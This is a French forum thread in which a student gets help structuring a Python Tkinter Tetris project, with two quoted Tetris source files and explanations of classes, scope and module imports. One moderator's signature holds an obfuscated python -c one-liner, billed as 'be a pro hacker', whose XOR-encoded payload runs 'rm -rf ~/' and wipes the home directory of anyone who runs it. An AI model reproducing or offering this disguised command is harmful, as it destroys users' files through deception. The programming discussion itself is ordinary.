Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 03-03-2014 11:53:09

xReZo
Membre Actif
Inscription : 14-07-2013
Messages : 43

[PYTHON] Importation de module

Bonjour tout le monde,

Je développe actuellement un Tetris pour mon projet de bac. Pour le moment, je suis en train de coder l'affichage des différentes pièces. Afin d'aléger le code, je souhaite mettre l'ensemble des fonctions générant les pièces dans un module externe que j'importerai dans mon programme principal. Bémol, lors de l'appel de la fonction en question (par exemple celle gérant l'affichage d'une barre), soit j'obtient une erreur de variables, soit cela marche mais c'est une deuxième fenêtre graphique qui s'ouvre au lieu d'une seule.

Voici les deux fichiers en question : Projet.rar

L'idée serait de juste avoir à mettre "O_Tetrimino(x,y)" par exemple, que le programme fouille dans le module afin de faire ce qu'il a à faire et qu'il m'affiche la pièce dans la fenêtre principal.

Toute piste de réflexion sera donc la bienvenue, merci d'avance smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 03-03-2014 17:26:33

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : [PYTHON] Importation de module

À ta place, je commencerais par le début :

Mettre le main dans un

if __name__ == '__main__'

.
Ensuite, je placerais toutes les variables «globales» dans les attributs d'un objet 'Système', par exemple.
Voire même, j'utiliserais une classe 'Tetris' qui sait tout faire (connaît ses formes) et sait où elle en est.
Il me semble que ta méthode 'carre' est déjà présente dans Tkinter :
http://effbot.org/tkinterbook/canvas.ht … gle-method

Bon courage (:


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#3 03-03-2014 18:09:06

xReZo
Membre Actif
Inscription : 14-07-2013
Messages : 43

Re : [PYTHON] Importation de module

Merci pour cette réponse, mais.. C'est du trop haut niveau pour moi ^^
On a rien appris de tout ça en cours, et puisqu'il faudra que je le présente en fin d'année à l'oral, il faut que je comprenne ce que je fais et pas que cela soit trop complexe (même si c'est plus adapté au programme en question).
Il me faudrai donc une solution un peu plus simple que ça smile
J'ai encore cherché d'autres moyen, mais pour l'instant ça n'avance pas trop

Hors Ligne

#4 04-03-2014 20:15:30

xReZo
Membre Actif
Inscription : 14-07-2013
Messages : 43

Re : [PYTHON] Importation de module

Re, j'ai fouiné un peu sur le net voir ce que je trouvais. J'ai trouvé 2 codes sources sous Python 2.7 de Tetris sous Tkinter, et... C'est une sacrée misère à comprendre !

Le premier :

#!/usr/bin/env python
"""
Tetris Tk - A tetris clone written in Python using the Tkinter GUI library.

Controls:
    Left Arrow      Move left
    Right Arrow     Move right
    Down Arrow      Move down
    Up Arrow        Drop Tetronimoe to the bottom
    'a'             Rotate anti-clockwise (to the left)
    'b'             Rotate clockwise (to the right)
    'p'             Pause the game.
"""

from Tkinter import *
from time import sleep
from random import randint
import tkMessageBox
import sys

SCALE = 20
OFFSET = 3
MAXX = 10
MAXY = 22

NO_OF_LEVELS = 10

LEFT = "left"
RIGHT = "right"
DOWN = "down"

direction_d = { "left": (-1, 0), "right": (1, 0), "down": (0, 1) }

def level_thresholds( first_level, no_of_levels ):
    """
    Calculates the score at which the level will change, for n levels.
    """
    thresholds =[]
    for x in xrange( no_of_levels ):
        multiplier = 2**x
        thresholds.append( first_level * multiplier )
    
    return thresholds

class status_bar( Frame ):
    """
    Status bar to display the score and level
    """
    def __init__(self, parent):
        Frame.__init__( self, parent )
        self.label = Label( self, bd=1, relief=SUNKEN, anchor=W )
        self.label.pack( fill=X )
        
    def set( self, format, *args):
        self.label.config( text = format % args)
        self.label.update_idletasks()
        
    def clear( self ):
        self.label.config(test="")
        self.label.update_idletasks()

class Board( Frame ):
    """
    The board represents the tetris playing area. A grid of x by y blocks.
    """
    def __init__(self, parent, scale=20, max_x=10, max_y=20, offset=3):
        """
        Init and config the tetris board, default configuration:
        Scale (block size in pixels) = 20
        max X (in blocks) = 10
        max Y (in blocks) = 20
        offset (in pixels) = 3
        """
        Frame.__init__(self, parent)
        
        # blocks are indexed by there corrdinates e.g. (4,5), these are
        self.landed = {}
        self.parent = parent
        self.scale = scale
        self.max_x = max_x
        self.max_y = max_y
        self.offset = offset        

        self.canvas = Canvas(parent,
                             height=(max_y * scale)+offset,
                             width= (max_x * scale)+offset)
        self.canvas.pack()

    def check_for_complete_row( self, blocks ):
        """
        Look for a complete row of blocks, from the bottom up until the top row
        or until an empty row is reached.
        """
        rows_deleted = 0
        
        # Add the blocks to those in the grid that have already 'landed'
        for block in blocks:
            self.landed[ block.coord() ] = block.id
        
        empty_row = 0

        # find the first empty row
        for y in xrange(self.max_y -1, -1, -1):
            row_is_empty = True
            for x in xrange(self.max_x):
                if self.landed.get((x,y), None):
                    row_is_empty = False
                    break;
            if row_is_empty:
                empty_row = y
                break

        # Now scan up and until a complete row is found. 
        y = self.max_y - 1
        while y > empty_row:
 
            complete_row = True
            for x in xrange(self.max_x):
                if self.landed.get((x,y), None) is None:
                    complete_row = False
                    break;

            if complete_row:
                rows_deleted += 1
                
                #delete the completed row
                for x in xrange(self.max_x):
                    block = self.landed.pop((x,y))
                    self.delete_block(block)
                    del block

                    
                # move all the rows above it down
                for ay in xrange(y-1, empty_row, -1):
                    for x in xrange(self.max_x):
                        block = self.landed.get((x,ay), None)
                        if block:
                            block = self.landed.pop((x,ay))
                            dx,dy = direction_d[DOWN]
                            
                            self.move_block(block, direction_d[DOWN])
                            self.landed[(x+dx, ay+dy)] = block

                # move the empty row down index down too
                empty_row +=1
                # y stays same as row above has moved down.
                
            else:
                y -= 1
                
        #self.output() # non-gui diagnostic
        
        # return the score, calculated by the number of rows deleted.        
        return (100 * rows_deleted) * rows_deleted
                
    def output( self ):
        for y in xrange(self.max_y):
            line = []
            for x in xrange(self.max_x):
                if self.landed.get((x,y), None):
                    line.append("X")
                else:
                    line.append(".")
            print "".join(line)
            
    def add_block( self, (x, y), colour):
        """
        Create a block by drawing it on the canvas, return
        it's ID to the caller.
        """
        rx = (x * self.scale) + self.offset
        ry = (y * self.scale) + self.offset
        
        return self.canvas.create_rectangle(
            rx, ry, rx+self.scale, ry+self.scale, fill=colour
        )
        
    def move_block( self, id, coord):
        """
        Move the block, identified by 'id', by x and y. Note this is a
        relative movement, e.g. move 10, 10 means move 10 pixels right and
        10 pixels down NOT move to position 10,10. 
        """
        x, y = coord
        self.canvas.move(id, x*self.scale, y*self.scale)
        
    def delete_block(self, id):
        """
        Delete the identified block
        """
        self.canvas.delete( id )
        
    def check_block( self, (x, y) ):
        """
        Check if the x, y coordinate can have a block placed there.
        That is; if there is a 'landed' block there or it is outside the
        board boundary, then return False, otherwise return true.
        """
        if x < 0 or x >= self.max_x or y < 0 or y >= self.max_y:
            return False
        elif self.landed.has_key( (x, y) ):
            return False
        else:
            return True

class Block(object):
    def __init__( self, id, (x, y)):
        self.id = id
        self.x = x
        self.y = y
        
    def coord( self ):
        return (self.x, self.y)
        
class shape(object):
    """
    Shape is the  Base class for the game pieces e.g. square, T, S, Z, L,
    reverse L and I. Shapes are constructed of blocks. 
    """
    @classmethod        
    def check_and_create(cls, board, coords, colour ):
        """
        Check if the blocks that make the shape can be placed in empty coords
        before creating and returning the shape instance. Otherwise, return
        None.
        """
        for coord in coords:
            if not board.check_block( coord ):
                return None
        
        return cls( board, coords, colour)
            
    def __init__(self, board, coords, colour ):
        """
        Initialise the shape base.
        """
        self.board = board
        self.blocks = []
        
        for coord in coords:
            block = Block(self.board.add_block( coord, colour), coord)
            
            self.blocks.append( block )
            
    def move( self, direction ):
        """
        Move the blocks in the direction indicated by adding (dx, dy) to the
        current block coordinates
        """
        d_x, d_y = direction_d[direction]
        
        for block in self.blocks:

            x = block.x + d_x
            y = block.y + d_y
            
            if not self.board.check_block( (x, y) ):
                return False
            
        for block in self.blocks:
            
            x = block.x + d_x
            y = block.y + d_y
            
            self.board.move_block( block.id, (d_x, d_y) )
            
            block.x = x
            block.y = y
        
        return True
            
    def rotate(self, clockwise = True):
        """
        Rotate the blocks around the 'middle' block, 90-degrees. The
        middle block is always the index 0 block in the list of blocks
        that make up a shape.
        """
        # TO DO: Refactor for DRY
        middle = self.blocks[0]
        rel = []
        for block in self.blocks:
            rel.append( (block.x-middle.x, block.y-middle.y ) )
            
        # to rotate 90-degrees (x,y) = (-y, x)
        # First check that the there are no collisions or out of bounds moves.
        for idx in xrange(len(self.blocks)):
            rel_x, rel_y = rel[idx]
            if clockwise:
                x = middle.x+rel_y
                y = middle.y-rel_x
            else:
                x = middle.x-rel_y
                y = middle.y+rel_x
            
            if not self.board.check_block( (x, y) ):
                return False
            
        for idx in xrange(len(self.blocks)):
            rel_x, rel_y = rel[idx]
            if clockwise:
                x = middle.x+rel_y
                y = middle.y-rel_x
            else:
                x = middle.x-rel_y
                y = middle.y+rel_x
            
            
            diff_x = x - self.blocks[idx].x 
            diff_y = y - self.blocks[idx].y 
            
            self.board.move_block( self.blocks[idx].id, (diff_x, diff_y) )
            
            self.blocks[idx].x = x
            self.blocks[idx].y = y
       
        return True
    
class shape_limited_rotate( shape ):
    """
    This is a base class for the shapes like the S, Z and I that don't fully
    rotate (which would result in the shape moving *up* one block on a 180).
    Instead they toggle between 90 degrees clockwise and then back 90 degrees
    anti-clockwise.
    """
    def __init__( self, board, coords, colour ):
        self.clockwise = True
        super(shape_limited_rotate, self).__init__(board, coords, colour)
    
    def rotate(self, clockwise=True):
        """
        Clockwise, is used to indicate if the shape should rotate clockwise
        or back again anti-clockwise. It is toggled.
        """
        super(shape_limited_rotate, self).rotate(clockwise=self.clockwise)
        if self.clockwise:
            self.clockwise=False
        else:
            self.clockwise=True
        

class square_shape( shape ):
    @classmethod
    def check_and_create( cls, board ):
        coords = [(4,0),(5,0),(4,1),(5,1)]
        return super(square_shape, cls).check_and_create(board, coords, "red")
        
    def rotate(self, clockwise=True):
        """
        Override the rotate method for the square shape to do exactly nothing!
        """
        pass
        
class t_shape( shape ):
    @classmethod
    def check_and_create( cls, board ):
        coords = [(4,0),(3,0),(5,0),(4,1)]
        return super(t_shape, cls).check_and_create(board, coords, "yellow" )
        
class l_shape( shape ):
    @classmethod
    def check_and_create( cls, board ):
        coords = [(4,0),(3,0),(5,0),(3,1)]
        return super(l_shape, cls).check_and_create(board, coords, "orange")
    
class reverse_l_shape( shape ):
    @classmethod
    def check_and_create( cls, board ):
        coords = [(5,0),(4,0),(6,0),(6,1)]
        return super(reverse_l_shape, cls).check_and_create(
            board, coords, "green")
        
class z_shape( shape_limited_rotate ):
    @classmethod
    def check_and_create( cls, board ):
        coords =[(5,0),(4,0),(5,1),(6,1)]
        return super(z_shape, cls).check_and_create(board, coords, "purple")
        
class s_shape( shape_limited_rotate ):
    @classmethod
    def check_and_create( cls, board ):
        coords =[(5,1),(4,1),(5,0),(6,0)]
        return super(s_shape, cls).check_and_create(board, coords, "magenta")
        
class i_shape( shape_limited_rotate ):
    @classmethod
    def check_and_create( cls, board ):
        coords =[(4,0),(3,0),(5,0),(6,0)]
        return super(i_shape, cls).check_and_create(board, coords, "blue")
        
class game_controller(object):
    """
    Main game loop and receives GUI callback events for keypresses etc...
    """
    def __init__(self, parent):
        """
        Intialise the game...
        """
        self.parent = parent
        self.score = 0
        self.level = 0
        self.delay = 1000    #ms
        
        #lookup table
        self.shapes = [square_shape,
                      t_shape,
                      l_shape,
                      reverse_l_shape,
                      z_shape,
                      s_shape,
                      i_shape ]
        
        self.thresholds = level_thresholds( 500, NO_OF_LEVELS )
        
        self.status_bar = status_bar( parent )
        self.status_bar.pack(side=TOP,fill=X)
        #print "Status bar width",self.status_bar.cget("width")

        self.status_bar.set("Score: %-7d\t Level: %d " % (
            self.score, self.level+1)
        )
        
        self.board = Board(
            parent,
            scale=SCALE,
            max_x=MAXX,
            max_y=MAXY,
            offset=OFFSET
            )
        
        self.board.pack(side=BOTTOM)
        
        self.parent.bind("<Left>", self.left_callback)
        self.parent.bind("<Right>", self.right_callback)
        self.parent.bind("<Up>", self.up_callback)
        self.parent.bind("<Down>", self.down_callback)
        self.parent.bind("a", self.a_callback)
        self.parent.bind("s", self.s_callback)
        self.parent.bind("p", self.p_callback)
        
        self.shape = self.get_next_shape()
        #self.board.output()

        self.after_id = self.parent.after( self.delay, self.move_my_shape )
        
    def handle_move(self, direction):
        #if you can't move then you've hit something
        if not self.shape.move( direction ):
            
            # if your heading down then the shape has 'landed'
            if direction == DOWN:
                self.score += self.board.check_for_complete_row(
                    self.shape.blocks
                    )
                del self.shape
                self.shape = self.get_next_shape()
                
                # If the shape returned is None, then this indicates that
                # that the check before creating it failed and the
                # game is over!
                if self.shape is None:
                    tkMessageBox.showwarning(
                        title="GAME OVER",
                        message ="Score: %7d\tLevel: %d\t" % (
                            self.score, self.level),
                        parent=self.parent
                        )
                    Toplevel().destroy()
                    self.parent.destroy()
                    sys.exit(0)
                
                # do we go up a level?
                if (self.level < NO_OF_LEVELS and 
                    self.score >= self.thresholds[ self.level]):
                    self.level+=1
                    self.delay-=100
                    
                self.status_bar.set("Score: %-7d\t Level: %d " % (
                    self.score, self.level+1)
                )
                
                # Signal that the shape has 'landed'
                return False
        return True

    def left_callback( self, event ):
        if self.shape:
            self.handle_move( LEFT )
        
    def right_callback( self, event ):
        if self.shape:
            self.handle_move( RIGHT )

    def up_callback( self, event ):
        if self.shape:
            # drop the tetrominoe to the bottom
            while self.handle_move( DOWN ):
                pass

    def down_callback( self, event ):
        if self.shape:
            self.handle_move( DOWN )
            
    def a_callback( self, event):
        if self.shape:
            self.shape.rotate(clockwise=True)
            
    def s_callback( self, event):
        if self.shape:
            self.shape.rotate(clockwise=False)
        
    def p_callback(self, event):
        self.parent.after_cancel( self.after_id )
        tkMessageBox.askquestion(
            title = "Paused!",
            message="Continue?",
            type=tkMessageBox.OK)
        self.after_id = self.parent.after( self.delay, self.move_my_shape )
    
    def move_my_shape( self ):
        if self.shape:
            self.handle_move( DOWN )
            self.after_id = self.parent.after( self.delay, self.move_my_shape )
        
    def get_next_shape( self ):
        """
        Randomly select which tetrominoe will be used next.
        """
        the_shape = self.shapes[ randint(0,len(self.shapes)-1) ]
        return the_shape.check_and_create(self.board)
        
        
if __name__ == "__main__":
    root = Tk()
    root.title("Tetris Tk")
    theGame = game_controller( root )
    
    root.mainloop()

Et le deuxiène :

import Tkinter
from Tkinter import Canvas, Label, Tk, StringVar
import tkMessageBox

from random import choice
from collections import Counter

class Game():
    WIDTH = 300
    HEIGHT = 500

    def start(self):
        '''Starts the game.

Creates a window, a canvas, and a first shape. Binds the event handler.
Then starts a GUI timer of ms interval self.speed and starts the GUI main
loop.

'''
        #TODO start() needs to be refactored so that the creation of the
        # window, label, and canvas are independent from setting them to
        # defaults and starting the game.
        #
        # There should also be a way for the user to restart and pause
        # the game if he or she wishes.
        #
        # It's a little weird that level is based only on time and that
        # as a result it increases faster and faster. Wouldn't it make
        # more sense for level to be a result of completed lines?
        self.level = 1
        self.score = 0
        self.speed = 500
        self.counter = 0
        self.create_new_game = True

        self.root = Tk()
        self.root.title("Tetris")

        self.status_var = StringVar()
        self.status_var.set("Level: 1, Score: 0")
        self.status = Label(self.root,
                textvariable=self.status_var,
                font=("Helvetica", 10, "bold"))
        self.status.pack()
        
        self.canvas = Canvas(
                self.root,
                width=Game.WIDTH,
                height=Game.HEIGHT)
        self.canvas.pack()

        self.root.bind("<Key>", self.handle_events)
        self.timer()
        self.root.mainloop()
    
    def timer(self):
        '''Every self.speed ms, attempt to cause the current_shape to fall().

If fall() returns False, create a new shape and check if it can fall.
If it can't, then the game is over.
'''
        if self.create_new_game == True:
            self.current_shape = Shape(self.canvas)
            self.create_new_game = False

        if not self.current_shape.fall():
            lines = self.remove_complete_lines()
            if lines:
                self.score += 10 * self.level**2 * lines**2
                self.status_var.set("Level: %d, Score: %d" %
                        (self.level, self.score))

            self.current_shape = Shape(self.canvas)
            if self.is_game_over():
                #TODO This is a problem. You rely on the timer method to
                # create a new game rather than creating it here. As a
                # result, there is an intermittent error where the user
                # event keypress Down eventually causes can_move_box
                # to throw an IndexError, since the current shape has
                # no boxes. Instead, you need to cleanly start a new
                # game. I think refactoring start() might help a lot
                # here.
                #
                # Furthermore, starting a new game currently doesn't reset
                # the levels. You should place all your starting constants
                # in the same place so it's clear what needs to be reset
                # when.
                self.create_new_game = True
                self.game_over()

            self.counter += 1
            if self.counter == 5:
                self.level += 1
                self.speed -= 20
                self.counter = 0
                self.status_var.set("Level: %d, Score: %d" %
                        (self.level, self.score))
        
        self.root.after(self.speed, self.timer)

    def handle_events(self, event):
        '''Handle all user events.'''
        if event.keysym == "Left": self.current_shape.move(-1, 0)
        if event.keysym == "Right": self.current_shape.move(1, 0)
        if event.keysym == "Down": self.current_shape.move(0, 1)
        if event.keysym == "Up": self.current_shape.rotate()

    def is_game_over(self):
        '''Check if a newly created shape is able to fall.

If it can't fall, then the game is over.

'''
        for box in self.current_shape.boxes:
            if not self.current_shape.can_move_box(box, 0, 1):
                return True
        return False

    def remove_complete_lines(self):
        shape_boxes_coords = [self.canvas.coords(box)[3] for box
                in self.current_shape.boxes]
        all_boxes = self.canvas.find_all()
        all_boxes_coords = {k : v for k, v in
                zip(all_boxes, [self.canvas.coords(box)[3]
                    for box in all_boxes])}
        lines_to_check = set(shape_boxes_coords)
        boxes_to_check = dict((k, v) for k, v in all_boxes_coords.iteritems()
                if any(v == line for line in lines_to_check))
        counter = Counter()
        for box in boxes_to_check.values(): counter[box] += 1
        complete_lines = [k for k, v in counter.iteritems()
                if v == (Game.WIDTH/Shape.BOX_SIZE)]
 
        if not complete_lines: return False

        for k, v in boxes_to_check.iteritems():
            if v in complete_lines:
                self.canvas.delete(k)
                del all_boxes_coords[k]
                
        #TODO Would be cooler if the line flashed or something
        for (box, coords) in all_boxes_coords.iteritems():
            for line in complete_lines:
                if coords < line:
                    self.canvas.move(box, 0, Shape.BOX_SIZE)
        return len(complete_lines)

    def game_over(self):
            self.canvas.delete(Tkinter.ALL)
            tkMessageBox.showinfo(
                    "Game Over",
                    "You scored %d points." % self.score)

class Shape:
    '''Defines a tetris shape.'''
    BOX_SIZE = 20
    # START_POINT relies on screwy integer arithmetic to approximate the middle
    # of the canvas while remaining correctly on the grid.
    START_POINT = Game.WIDTH / 2 / BOX_SIZE * BOX_SIZE - BOX_SIZE
    SHAPES = (
            ("yellow", (0, 0), (1, 0), (0, 1), (1, 1)), # square
            ("lightblue", (0, 0), (1, 0), (2, 0), (3, 0)), # line
            ("orange", (2, 0), (0, 1), (1, 1), (2, 1)), # right el
            ("blue", (0, 0), (0, 1), (1, 1), (2, 1)), # left el
            ("green", (0, 1), (1, 1), (1, 0), (2, 0)), # right wedge
            ("red", (0, 0), (1, 0), (1, 1), (2, 1)), # left wedge
            ("purple", (1, 0), (0, 1), (1, 1), (2, 1)), # symmetrical wedge
            )

    def __init__(self, canvas):
        '''Create a shape.

Select a random shape from the SHAPES tuple. Then, for each point
in the shape definition given in the SHAPES tuple, create a
rectangle of size BOX_SIZE. Save the integer references to these
rectangles in the self.boxes list.

Args:
canvas - the parent canvas on which the shape appears

'''
        self.boxes = [] # the squares drawn by canvas.create_rectangle()
        self.shape = choice(Shape.SHAPES) # a random shape
        self.color = self.shape[0]
        self.canvas = canvas

        for point in self.shape[1:]:
            box = canvas.create_rectangle(
                point[0] * Shape.BOX_SIZE + Shape.START_POINT,
                point[1] * Shape.BOX_SIZE,
                point[0] * Shape.BOX_SIZE + Shape.BOX_SIZE + Shape.START_POINT,
                point[1] * Shape.BOX_SIZE + Shape.BOX_SIZE,
                fill=self.color)
            self.boxes.append(box)

           
    def move(self, x, y):
        '''Moves this shape (x, y) boxes.'''
        if not self.can_move_shape(x, y):
            return False
        else:
            for box in self.boxes:
                self.canvas.move(box, x * Shape.BOX_SIZE, y * Shape.BOX_SIZE)
            return True

    def fall(self):
        '''Moves this shape one box-length down.'''
        if not self.can_move_shape(0, 1):
            return False
        else:
            for box in self.boxes:
                self.canvas.move(box, 0 * Shape.BOX_SIZE, 1 * Shape.BOX_SIZE)
            return True

    def rotate(self):
        '''Rotates the shape clockwise.'''
        boxes = self.boxes[:]
        pivot = boxes.pop(2)

        def get_move_coords(box):
            '''Return (x, y) boxes needed to rotate a box around the pivot.'''
            box_coords = self.canvas.coords(box)
            pivot_coords = self.canvas.coords(pivot)
            x_diff = box_coords[0] - pivot_coords[0]
            y_diff = box_coords[1] - pivot_coords[1]
            x_move = (- x_diff - y_diff) / self.BOX_SIZE
            y_move = (x_diff - y_diff) / self.BOX_SIZE
            return x_move, y_move

        # Check if shape can legally move
        for box in boxes:
            x_move, y_move = get_move_coords(box)
            if not self.can_move_box(box, x_move, y_move):
                return False
            
        # Move shape
        for box in boxes:
            x_move, y_move = get_move_coords(box)
            self.canvas.move(box,
                    x_move * self.BOX_SIZE,
                    y_move * self.BOX_SIZE)

        return True

    def can_move_box(self, box, x, y):
        '''Check if box can move (x, y) boxes.'''
        x = x * Shape.BOX_SIZE
        y = y * Shape.BOX_SIZE
        coords = self.canvas.coords(box)
        
        # Returns False if moving the box would overrun the screen
        if coords[3] + y > Game.HEIGHT: return False
        if coords[0] + x < 0: return False
        if coords[2] + x > Game.WIDTH: return False

        # Returns False if moving box (x, y) would overlap another box
        overlap = set(self.canvas.find_overlapping(
                (coords[0] + coords[2]) / 2 + x,
                (coords[1] + coords[3]) / 2 + y,
                (coords[0] + coords[2]) / 2 + x,
                (coords[1] + coords[3]) / 2 + y
                ))
        other_items = set(self.canvas.find_all()) - set(self.boxes)
        if overlap & other_items: return False

        return True


    def can_move_shape(self, x, y):
        '''Check if the shape can move (x, y) boxes.'''
        for box in self.boxes:
            if not self.can_move_box(box, x, y): return False
        return True

if __name__ == "__main__":
    game = Game()
    game.start()

Dans les deux cas, y'a de nombreuses choses que je ne comprend pas, les "self.", et d'autres.

Aussi, j'aimerai savoir comment ils s'y sont pris pour que les pièces se déplacent seules ?

Pour ce qui est du mien, j'ai pensé à un tableau à plusieurs dimensions, représentant les cases, mais là encore ça reste assez flou...

Merci pour votre aide / explication !

Hors Ligne

#5 07-03-2014 17:17:28

YAZ
Membre
Inscription : 12-12-2013
Messages : 21

Re : [PYTHON] Importation de module

self c'est en POO ( programmation orientée object, notion très importante concernant le python que  vous ne semblez pas avoir approfondis en cours, je te conseil de creuser un peu le sujet) pour désigner l'objet dans les méthodes de sa classe ( en c++ c'est l'équivalent de "this->")
en gros, c'est "l'objet courant", par exemple pour changer une vairiable tu pourrais faire
par ex:

class maClasse: # maCLase est un "plan" pour pouvoir créer un objet
    def change(self): # ceci est une méthode de classe, elle ne peut être appelée que "par" un objet de type maClasse
        self.maVariable = "yes"
    def __init__( self ): # méthode appelée lors de la création de l'objet
        self.maVariable = "no" # maVariable est une variable de classe, on pourrait dire en français (comme le dit spawn plus haut)"que c'est un attribut de l'objet", coome par exemple, la couleur d'une voiture
        self.change() # l'objet courant appelle une de ses méthode
        # self.maVariable vaut maintenant 'yes'


if __name__ == "__main__":
    monObjet = maClasse() # ici on appel la méthode __init__()  , on initialise un objet (" on construit un objet selon le 'plan' de ma classe")
# monObjet est un objet ( comme à peu près tout en python ), autrement dit, c'est une instance de maClasse
   
    print monObjet.maVariable # affiche yes

Une fois la POO comprise, tu verras que ce que spawn te disait n'était pas si avancé que ça, il y aussi le concept de portée des variables à comprendre.
Il te disait donc que pour "mieux organiser ton code", il serait peut être judicieux de créer un objet "system" qui aurait une portée "globale", dont les variables (ou attributs) serait tes variables à portée "globale".
Donc par exemple, pour appeler

 fen.title("Tetris !") 

tu procéderas ainsi :

 system.fen.title("Tetris !") 

avec par exemple:

class system:
    def __init__( self ):
        self.fen = tk.Tk()

concernant les codes sources j'ai pas vraiment regardé, mais pour le premier, il faut lire les commentaire !
pour comprendre comment il a fait pour que les pièces se déplacent seules, je te conseil de te pencher particulièrement sur :

    def timer(self):
        '''Every self.speed ms, attempt to cause the current_shape to fall().

If fall() returns False, create a new shape and check if it can fall.
If it can't, then the game is over.
'''
        if self.create_new_game == True:
            self.current_shape = Shape(self.canvas)
            self.create_new_game = False

        if not self.current_shape.fall():
            lines = self.remove_complete_lines()
            if lines:
                self.score += 10 * self.level**2 * lines**2
                self.status_var.set("Level: %d, Score: %d" %
                        (self.level, self.score))

            self.current_shape = Shape(self.canvas)
            if self.is_game_over():
                #TODO This is a problem. You rely on the timer method to
                # create a new game rather than creating it here. As a
                # result, there is an intermittent error where the user
                # event keypress Down eventually causes can_move_box
                # to throw an IndexError, since the current shape has
                # no boxes. Instead, you need to cleanly start a new
                # game. I think refactoring start() might help a lot
                # here.
                #
                # Furthermore, starting a new game currently doesn't reset
                # the levels. You should place all your starting constants
                # in the same place so it's clear what needs to be reset
                # when.
                self.create_new_game = True
                self.game_over()

            self.counter += 1
            if self.counter == 5:
                self.level += 1
                self.speed -= 20
                self.counter = 0
                self.status_var.set("Level: %d, Score: %d" %
                        (self.level, self.score))
        
        self.root.after(self.speed, self.timer)

    def handle_events(self, event):
        '''Handle all user events.'''
        if event.keysym == "Left": self.current_shape.move(-1, 0)
        if event.keysym == "Right": self.current_shape.move(1, 0)
        if event.keysym == "Down": self.current_shape.move(0, 1)
        if event.keysym == "Up": self.current_shape.rotate()

et sur la variable

        self.delay = 1000    #

de la classe

class game_controller(object):

Dernière modification par YAZ (07-03-2014 17:32:16)

Hors Ligne

#6 07-03-2014 19:11:18

xReZo
Membre Actif
Inscription : 14-07-2013
Messages : 43

Re : [PYTHON] Importation de module

Merci pour ces quelques explications ! Je ne pourrai malheureusement pas m'en servir puisqu'on a pas vu ça en cours.. Mais ça me servira personnellement.
J'ai avancé un peu, avec mon binôme on a créé un tableau "deux dimensions" ou chaque valeur correspond à un carré
Maintenant, toutes nos pièces se déplacent et se bloquent lorsqu'elles se rencontrent
Il nous reste les différentes rotations à traiter, et les lignes à péter mais pour ça on a déjà l'algo de prêt smile

Un truc qui devient urgent, c'est l'utilisation des modules avant que le code ne devienne trop lourd et qu'on se perde..

Par exemple, dans un fichier je mettrai toutes les définitions des pièces, et dans mon programme principal j'aurai juste à écrire "I_Tetrimino(x,y)" par exemple. Problème, entre les variables inconnues et autre, quand ça marche, ça me crée une deuxième fenêtre graphique.. J'aimerai que lorsque j'appelle dans mon programme principal la fonction "I_Tetrimino(x,y)", celle-ci pioche les arguments et différentes variables utiles à son fonctionnement dans mon prog principal et non pas dans son module lui même, comment procéder ?

Merci a vous,
Théo

Hors Ligne

#7 07-03-2014 20:27:03

YAZ
Membre
Inscription : 12-12-2013
Messages : 21

Re : [PYTHON] Importation de module

Je pense que c'est justement l'enjeux de la portée des variable dont il est question.
D'après ce que j'ai pu voir dans ton code (fichier fonction_c), il me semble qu'il y ait une mauvaise compréhension de ce qu'est justement la portée d'une variable.
on peut particulièrement le voir dans chaque fonction où tu fais

global couleur

alors que tu n'as aucune variable couleur à portée globale (si ce n'est celle déclarée global). et que dans chaque fonction tu

Il faut bien comprendre que chaque fonction à un contexte indépendant du reste (du programme, et des autres fonctions).
Tu ne dois pas utiliser des variables à portée globale dans tes modules, les modules sont des "bibliotèques" de fonctions,mais qui sont indépendantes des programmes, où tu viens piocher tes fonctions. (enfin ça je suis pas sûr à 100% mais c'est ma vision des choses)
N'hésite donc pas à auguementer le nombre de paramètres si nécessaire.

Dans chaque fonction où tu veux, par exemple redéfinir la couleur, ça ne sert à rien de faire

global couleur
couleur="#1AE27E" 

mais un

couleur="#1AE27E"

suffit, puisque tu vas utiliser couleur seulement dans la fonction.
après je n'ai pas compris comment tu utilisais couleur dans la fonction carre, mais pourquoi ne pas rajouter la  couleur en paramètre, si c'est quelque chose qui varie ?
De plus, dans chque fonction, tu utilises "e", je pense que tu veux utiliser le "e" définis dasn "Tetris.py" qui, du fait de l'organisation de ton code, a une portée globale. C'est là qu'il faudrait faire

global e

Car sinon, python cherche un "e" seulement dans le contexte de la fonction, or il n'éxiste pas...
Mais comme tu as décidé de mettre tes fonctions dans un module, je pense qu'il faudrait que tu passes en paramètre le "e"

Il me semble aussi qu'il y ait une erreur de compréhension par rapport aux imports (le web pourra te rensienger à ce sujet) à la vue de

import tkinter as tk
from tkinter import *

Enfin, comme spawn te le suggérait, il me semble important de mettre

if __name__ == "__main__":

et à la suite, tu mets ton code principal.
En gros, c'est pour déclarer une fonction "main", qui est le coeur du programme. En gros (mais pas toujours) un programme commence et se termine dans la fonction main.
Ce code dans la fonction main ne sera éxécuté que si tu appels le programme par le fichier qui contient cette fonction main.
par exemple si tu mets ton main dans "Tetris.py", pour que le code de la fonction main soit éxécuté, il faudra appelé ton programme comme ceci

python3 tetris.py

Hors Ligne

#8 07-03-2014 21:34:58

xReZo
Membre Actif
Inscription : 14-07-2013
Messages : 43

Re : [PYTHON] Importation de module

Pour le global, j'utilise une seule variable couleur qui change suivant la pièce concernée, elle même reliée à une fonction carré. C'est donc pour ça que je la passe en global, pour qu'elle soit bien redéfinie suivant la définition utilisée
Il faudra que je jette un œil au global "e", je mettrai en lien le nouveau fichier si vous avez le cœur d'y jeter un œil wink

Concernant les importations pour moi c'est juste : le premier permet d'utiliser le raccourci "tk" désignant la fonction tkinter, et l'autre permet d'importer le reste des modules de Tkinter

Pour le main, je ne saisi pas trop l'utilité dans mon cas.

Merci beaucoup en tout cas !

Hors Ligne

#9 12-03-2014 15:09:03

xReZo
Membre Actif
